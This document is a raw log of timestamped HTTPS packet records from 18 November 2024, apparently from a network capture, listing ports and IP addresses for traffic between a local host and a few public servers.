Nov 18, 2024 02:34:40.085330009 CET	443	49868	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.085486889 CET	443	49868	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.085541964 CET	49868	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.085635900 CET	49868	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.085652113 CET	443	49868	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.085671902 CET	49868	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.085679054 CET	443	49868	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.087379932 CET	443	49867	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.087518930 CET	443	49867	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.087568998 CET	49867	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.087687016 CET	49867	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.087701082 CET	443	49867	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.087723017 CET	49867	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.087728024 CET	443	49867	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.089303970 CET	49876	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.089354038 CET	443	49876	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.089426994 CET	49876	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.089593887 CET	49876	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.089622021 CET	443	49876	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.090532064 CET	49877	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.090595961 CET	443	49877	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.090660095 CET	49877	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.090790033 CET	49877	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.090820074 CET	443	49877	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.120107889 CET	443	49869	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.120294094 CET	443	49869	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.120389938 CET	49869	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.120440960 CET	49869	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.120461941 CET	443	49869	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.120487928 CET	49869	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.120501041 CET	443	49869	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.124627113 CET	49878	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.124651909 CET	443	49878	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.124739885 CET	49878	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.124857903 CET	49878	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.124883890 CET	443	49878	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.555119991 CET	443	49873	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.561940908 CET	49873	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.561966896 CET	443	49873	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.562380075 CET	49873	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.562385082 CET	443	49873	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.684799910 CET	443	49874	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.690299988 CET	443	49873	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.690330029 CET	443	49873	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.690412045 CET	443	49873	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.690471888 CET	49873	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.701127052 CET	49873	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.701127052 CET	49873	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.701148033 CET	443	49873	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.701158047 CET	443	49873	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.701812983 CET	49874	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.701857090 CET	443	49874	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.703305960 CET	49874	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.703322887 CET	443	49874	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.711357117 CET	49879	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.711393118 CET	443	49879	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.713977098 CET	49879	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.714440107 CET	49879	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.714453936 CET	443	49879	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.719002962 CET	49880	443	192.168.2.6	142.250.184.228
Nov 18, 2024 02:34:40.719041109 CET	443	49880	142.250.184.228	192.168.2.6
Nov 18, 2024 02:34:40.723360062 CET	49880	443	192.168.2.6	142.250.184.228
Nov 18, 2024 02:34:40.723773003 CET	49880	443	192.168.2.6	142.250.184.228
Nov 18, 2024 02:34:40.723788977 CET	443	49880	142.250.184.228	192.168.2.6
Nov 18, 2024 02:34:40.733525038 CET	49882	443	192.168.2.6	13.107.246.67
Nov 18, 2024 02:34:40.733546972 CET	443	49882	13.107.246.67	192.168.2.6
Nov 18, 2024 02:34:40.733699083 CET	49882	443	192.168.2.6	13.107.246.67
Nov 18, 2024 02:34:40.733936071 CET	49882	443	192.168.2.6	13.107.246.67
Nov 18, 2024 02:34:40.733949900 CET	443	49882	13.107.246.67	192.168.2.6
Nov 18, 2024 02:34:40.751528978 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.751557112 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.751656055 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.753652096 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.753664017 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.819924116 CET	443	49877	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.820826054 CET	49877	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.820826054 CET	49877	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.820859909 CET	443	49877	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.820873976 CET	443	49877	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.831295013 CET	443	49874	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.831480026 CET	443	49874	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.831567049 CET	49874	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.831567049 CET	49874	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.831653118 CET	49874	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.831667900 CET	443	49874	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.834326029 CET	49884	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.834351063 CET	443	49884	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.834534883 CET	49884	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.834611893 CET	49884	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.834619045 CET	443	49884	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.845911026 CET	443	49876	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.846389055 CET	49876	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.846458912 CET	443	49876	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.846750021 CET	49876	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.846764088 CET	443	49876	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.868663073 CET	443	49878	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.871377945 CET	49878	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.871407032 CET	443	49878	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.872133017 CET	49878	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.872143984 CET	443	49878	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.949673891 CET	443	49877	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.949731112 CET	443	49877	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.950794935 CET	49877	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.954946995 CET	49877	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.954946995 CET	49877	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.954965115 CET	443	49877	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.954976082 CET	443	49877	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.958530903 CET	49885	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.958569050 CET	443	49885	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.958760023 CET	49885	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.958760023 CET	49885	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.958786964 CET	443	49885	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.976548910 CET	443	49876	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.976617098 CET	443	49876	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.976723909 CET	443	49876	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.976767063 CET	49876	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.976855040 CET	49876	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.976855040 CET	49876	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.976927042 CET	49876	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.976955891 CET	443	49876	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.980793953 CET	49886	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.980818987 CET	443	49886	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.981300116 CET	49886	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.981300116 CET	49886	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:40.981324911 CET	443	49886	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.999531984 CET	443	49878	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:40.999684095 CET	443	49878	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.003443003 CET	49878	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.003443003 CET	49878	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.003999949 CET	49878	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.004018068 CET	443	49878	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.005440950 CET	49887	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.005465031 CET	443	49887	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.005666971 CET	49887	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.005666971 CET	49887	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.005686045 CET	443	49887	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.450208902 CET	443	49879	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.450961113 CET	49879	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.451026917 CET	443	49879	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.452055931 CET	49879	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.452070951 CET	443	49879	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.490209103 CET	443	49882	13.107.246.67	192.168.2.6
Nov 18, 2024 02:34:41.491362095 CET	49882	443	192.168.2.6	13.107.246.67
Nov 18, 2024 02:34:41.491394043 CET	443	49882	13.107.246.67	192.168.2.6
Nov 18, 2024 02:34:41.492105007 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.492520094 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.492532969 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.492979050 CET	443	49882	13.107.246.67	192.168.2.6
Nov 18, 2024 02:34:41.493077040 CET	49882	443	192.168.2.6	13.107.246.67
Nov 18, 2024 02:34:41.493978977 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.494093895 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.494096994 CET	49882	443	192.168.2.6	13.107.246.67
Nov 18, 2024 02:34:41.494187117 CET	443	49882	13.107.246.67	192.168.2.6
Nov 18, 2024 02:34:41.495779037 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.495781898 CET	49882	443	192.168.2.6	13.107.246.67
Nov 18, 2024 02:34:41.495791912 CET	443	49882	13.107.246.67	192.168.2.6
Nov 18, 2024 02:34:41.495829105 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.495834112 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.495862961 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.517028093 CET	49892	443	192.168.2.6	184.28.90.27
Nov 18, 2024 02:34:41.517065048 CET	443	49892	184.28.90.27	192.168.2.6
Nov 18, 2024 02:34:41.517317057 CET	49892	443	192.168.2.6	184.28.90.27
Nov 18, 2024 02:34:41.518583059 CET	49892	443	192.168.2.6	184.28.90.27
Nov 18, 2024 02:34:41.518608093 CET	443	49892	184.28.90.27	192.168.2.6
Nov 18, 2024 02:34:41.542995930 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.543005943 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.543009996 CET	49882	443	192.168.2.6	13.107.246.67
Nov 18, 2024 02:34:41.582839966 CET	443	49884	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.583472013 CET	49884	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.583493948 CET	443	49884	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.584003925 CET	49884	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.584009886 CET	443	49884	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.587498903 CET	443	49880	142.250.184.228	192.168.2.6
Nov 18, 2024 02:34:41.588486910 CET	443	49879	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.588644028 CET	443	49879	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.588726044 CET	49879	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.589880943 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.596420050 CET	49880	443	192.168.2.6	142.250.184.228
Nov 18, 2024 02:34:41.596441031 CET	443	49880	142.250.184.228	192.168.2.6
Nov 18, 2024 02:34:41.596719980 CET	49879	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.596746922 CET	443	49879	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.596784115 CET	49879	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.596797943 CET	443	49879	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.597609043 CET	443	49880	142.250.184.228	192.168.2.6
Nov 18, 2024 02:34:41.597829103 CET	49880	443	192.168.2.6	142.250.184.228
Nov 18, 2024 02:34:41.626214981 CET	49880	443	192.168.2.6	142.250.184.228
Nov 18, 2024 02:34:41.626348019 CET	443	49880	142.250.184.228	192.168.2.6
Nov 18, 2024 02:34:41.630902052 CET	49893	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.630944967 CET	443	49893	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.631150007 CET	49893	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.631448984 CET	49893	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.631478071 CET	443	49893	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.669066906 CET	49880	443	192.168.2.6	142.250.184.228
Nov 18, 2024 02:34:41.669078112 CET	443	49880	142.250.184.228	192.168.2.6
Nov 18, 2024 02:34:41.686342001 CET	443	49885	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.687201023 CET	49885	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.687222004 CET	443	49885	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.687694073 CET	49885	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.687700033 CET	443	49885	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.713766098 CET	49880	443	192.168.2.6	142.250.184.228
Nov 18, 2024 02:34:41.713819027 CET	443	49884	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.713900089 CET	443	49884	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.714212894 CET	49884	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.724140882 CET	443	49882	13.107.246.67	192.168.2.6
Nov 18, 2024 02:34:41.724167109 CET	443	49882	13.107.246.67	192.168.2.6
Nov 18, 2024 02:34:41.724175930 CET	443	49882	13.107.246.67	192.168.2.6
Nov 18, 2024 02:34:41.724210978 CET	443	49882	13.107.246.67	192.168.2.6
Nov 18, 2024 02:34:41.724237919 CET	443	49882	13.107.246.67	192.168.2.6
Nov 18, 2024 02:34:41.724253893 CET	49882	443	192.168.2.6	13.107.246.67
Nov 18, 2024 02:34:41.724271059 CET	443	49882	13.107.246.67	192.168.2.6
Nov 18, 2024 02:34:41.724317074 CET	49882	443	192.168.2.6	13.107.246.67
Nov 18, 2024 02:34:41.724317074 CET	49882	443	192.168.2.6	13.107.246.67
Nov 18, 2024 02:34:41.732161999 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.732189894 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.732197046 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.732223988 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.732238054 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.732265949 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.732275009 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.732280970 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.732294083 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.732364893 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.735466957 CET	49884	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.735482931 CET	443	49884	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.735542059 CET	49884	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.735548019 CET	443	49884	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.740040064 CET	49894	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.740062952 CET	443	49894	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.740134001 CET	49894	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.740900040 CET	49894	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.740926981 CET	443	49894	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.742202044 CET	443	49887	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.742924929 CET	49887	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.742944002 CET	443	49887	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.743330956 CET	49887	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.743335962 CET	443	49887	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.743763924 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.743773937 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.743810892 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.743822098 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.743837118 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.743918896 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.743923903 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.743952990 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.744117022 CET	443	49886	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.744456053 CET	49886	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.744474888 CET	443	49886	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.745557070 CET	49886	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.745564938 CET	443	49886	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.752794027 CET	443	49882	13.107.246.67	192.168.2.6
Nov 18, 2024 02:34:41.752844095 CET	443	49882	13.107.246.67	192.168.2.6
Nov 18, 2024 02:34:41.752866983 CET	49882	443	192.168.2.6	13.107.246.67
Nov 18, 2024 02:34:41.752887964 CET	443	49882	13.107.246.67	192.168.2.6
Nov 18, 2024 02:34:41.752924919 CET	49882	443	192.168.2.6	13.107.246.67
Nov 18, 2024 02:34:41.794778109 CET	49882	443	192.168.2.6	13.107.246.67
Nov 18, 2024 02:34:41.843904972 CET	443	49882	13.107.246.67	192.168.2.6
Nov 18, 2024 02:34:41.843930006 CET	443	49882	13.107.246.67	192.168.2.6
Nov 18, 2024 02:34:41.843975067 CET	443	49882	13.107.246.67	192.168.2.6
Nov 18, 2024 02:34:41.844058037 CET	49882	443	192.168.2.6	13.107.246.67
Nov 18, 2024 02:34:41.844058037 CET	49882	443	192.168.2.6	13.107.246.67
Nov 18, 2024 02:34:41.844070911 CET	443	49882	13.107.246.67	192.168.2.6
Nov 18, 2024 02:34:41.844121933 CET	443	49882	13.107.246.67	192.168.2.6
Nov 18, 2024 02:34:41.844129086 CET	49882	443	192.168.2.6	13.107.246.67
Nov 18, 2024 02:34:41.844150066 CET	443	49882	13.107.246.67	192.168.2.6
Nov 18, 2024 02:34:41.844238043 CET	49882	443	192.168.2.6	13.107.246.67
Nov 18, 2024 02:34:41.844341993 CET	443	49882	13.107.246.67	192.168.2.6
Nov 18, 2024 02:34:41.844408989 CET	49882	443	192.168.2.6	13.107.246.67
Nov 18, 2024 02:34:41.849512100 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.849545002 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.849598885 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.849611044 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.849633932 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.849663019 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.860671043 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.860687017 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.860773087 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.860780001 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.862092972 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.863228083 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.863244057 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.863301039 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.863306999 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.865633965 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.865655899 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.865699053 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.865705013 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.865760088 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.865760088 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.869978905 CET	443	49887	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.870100975 CET	443	49887	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.870197058 CET	49887	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.882965088 CET	443	49886	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.883069038 CET	443	49886	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.887336016 CET	49886	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.887336969 CET	443	49886	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.891376972 CET	49886	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.966559887 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.966582060 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.966661930 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.966661930 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.966672897 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.967422009 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.976835012 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.976855993 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.976944923 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.976957083 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.977185965 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.977982044 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.977996111 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.978071928 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.978080034 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.978219032 CET	443	49885	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.978285074 CET	443	49885	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.978305101 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.978347063 CET	49885	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.978775978 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.978790045 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.978841066 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.978852034 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.978876114 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.978890896 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.979753017 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.979768991 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.979852915 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.979861021 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.979943037 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:41.980629921 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.980675936 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:41.980879068 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.031907082 CET	49886	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.031907082 CET	49886	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.031928062 CET	443	49886	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.031928062 CET	49887	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.031928062 CET	49887	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.031938076 CET	443	49886	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.031955957 CET	443	49887	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.031970024 CET	443	49887	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.033946037 CET	49885	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.033946037 CET	49885	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.033956051 CET	443	49885	13.107.246.45	192.168.2.6
